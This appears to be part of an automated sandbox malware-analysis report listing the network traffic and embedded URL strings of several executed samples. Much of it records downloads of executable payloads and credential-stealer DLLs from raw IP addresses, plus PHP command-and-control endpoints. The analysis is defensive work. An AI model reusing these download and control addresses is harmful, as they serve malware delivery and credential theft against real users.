Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1Host: home.fvtejj5vs.topAccept: /
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: home.fvtejj5vs.top
Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net

Source: unknown

DoH DNS queries detected: name: assets.msn.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: fd5d5b30e9.exe, 0000001D.00000002.2607162272.000000000080A000.00000040.00000001.01000000.0000000E.sdmp, fd5d5b30e9.exe, 0000001D.00000003.2381242009.00000000071E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: fd5d5b30e9.exe, 0000001D.00000002.2607162272.000000000080A000.00000040.00000001.01000000.0000000E.sdmp, fd5d5b30e9.exe, 0000001D.00000003.2381242009.00000000071E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: file.exe, 00000001.00000002.1739620358.0000000023D33000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000002.2626691488.000000000140B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/&
Source: skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/fac00b58987e8fcf7b8c730804042ba5ce902415450#
Source: skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000003.2540171804.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000003.2540171804.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe#
Source: skotes.exe, 0000001B.00000003.2540171804.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe(
Source: file.exe, 00000001.00000002.1717072391.00000000017F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000001.00000002.1717072391.00000000017D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeO
Source: file.exe, 00000001.00000002.1717072391.00000000017D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeZ
Source: skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000002.2626691488.000000000145E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000002.2626691488.0000000001448000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe1007107001
Source: skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe15e
Source: skotes.exe, 0000001B.00000002.2626691488.000000000145E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe1e1f95e037.exe
Source: skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe4c61395
Source: skotes.exe, 0000001B.00000002.2626691488.0000000001448000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe7E
Source: skotes.exe, 0000001B.00000002.2626691488.0000000001448000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe;E
Source: skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exeI
Source: skotes.exe, 0000001B.00000002.2626691488.000000000145E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exeYqKrYrK.(
Source: skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exec49
Source: skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exec61395d7f
Source: skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exec6ncoded
Source: skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exerlencoded
Source: skotes.exe, 0000001B.00000003.2540171804.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 0000001B.00000003.2540171804.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe1395d7
Source: skotes.exe, 0000001B.00000003.2540171804.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe1395d7f
Source: skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000003.2540171804.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeF
Source: skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000003.2540171804.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeH
Source: skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000003.2540171804.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exep
Source: skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe(
Source: skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exer
Source: file.exe, 00000001.00000002.1717072391.000000000177E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1714173625.0000000000B55000.00000040.00000001.01000000.00000003.sdmp, 36030a5366.exe, 00000020.00000002.2586073868.00000000019DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 36030a5366.exe, 00000020.00000002.2586073868.0000000001A38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000001.00000002.1717072391.00000000017D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/3
Source: file.exe, 00000001.00000002.1717072391.00000000017D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000001.00000002.1717072391.00000000017D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllu6
Source: file.exe, 00000001.00000002.1717072391.00000000017D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000001.00000002.1717072391.00000000017D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllG6
Source: file.exe, 00000001.00000002.1717072391.00000000017D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000001.00000002.1717072391.00000000017D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllT
Source: file.exe, 00000001.00000002.1717072391.00000000017D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000001.00000002.1717072391.00000000017D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000001.00000002.1717072391.00000000017D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000001.00000002.1717072391.00000000017D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000001.00000002.1717072391.00000000017D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll)
Source: 36030a5366.exe, 00000020.00000002.2586073868.0000000001A38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 36030a5366.exe, 00000020.00000002.2586073868.0000000001A38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php%
Source: file.exe, 00000001.00000002.1739620358.0000000023D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php&w
Source: 36030a5366.exe, 00000020.00000002.2586073868.0000000001A38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php)
Source: 36030a5366.exe, 00000020.00000002.2586073868.0000000001A38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: file.exe, 00000001.00000002.1739620358.0000000023D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpOX$
Source: file.exe, 00000001.00000002.1739620358.0000000023D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpWXL
Source: file.exe, 00000001.00000002.1739620358.0000000023D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpc
Source: 36030a5366.exe, 00000020.00000002.2586073868.0000000001A38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpe
Source: 36030a5366.exe, 00000020.00000002.2586073868.0000000001A38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpft
Source: file.exe, 00000001.00000002.1714173625.0000000000B55000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: file.exe, 00000001.00000002.1739620358.0000000023D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phplm
Source: file.exe, 00000001.00000002.1739620358.0000000023D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phppHY~
Source: 36030a5366.exe, 00000020.00000002.2586073868.0000000001A38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: file.exe, 00000001.00000002.1714173625.0000000000B55000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206rontdesk
Source: skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 0000001B.00000002.2626691488.000000000145E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000002.2626691488.00000000014C1000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000003.2540171804.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001B.00000003.2540171804.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php105001
Source: skotes.exe, 0000001B.00000003.2540171804.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php2
Source: skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpI
Source: skotes.exe, 0000001B.00000003.2540171804.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpKw
Source: skotes.exe, 0000001B.00000003.2540171804.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpKw5
Source: skotes.exe, 0000001B.00000003.2540171804.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpi=
Source: skotes.exe, 0000001B.00000003.2540171804.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpy
Source: skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ta
Source: skotes.exe, 0000001B.00000002.2626691488.000000000145E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 0000001B.00000002.2626691488.000000000145E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe?.78-
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: 1e42688e0b.exe, 0000001E.00000002.2626591631.00000000013E9000.00000004.00000020.00020000.00000000.sdmp, 1e42688e0b.exe, 00000026.00000002.2627577979.0000000001396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: fd5d5b30e9.exe, 0000001D.00000003.2381242009.00000000071E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS17
Source: fd5d5b30e9.exe, 0000001D.00000002.2629945727.000000000156E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403
Source: fd5d5b30e9.exe, 0000001D.00000002.2629945727.000000000156E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403L(
Source: fd5d5b30e9.exe, 0000001D.00000002.2607162272.000000000080A000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403libgcc_s_dw2-1.dll__register_frame_info__der
Source: fd5d5b30e9.exe, 0000001D.00000002.2607162272.000000000080A000.00000040.00000001.01000000.0000000E.sdmp, fd5d5b30e9.exe, 0000001D.00000003.2381242009.00000000071E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000001.00000002.1759207273.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000001.00000002.1755746967.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1734182734.000000001DD06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
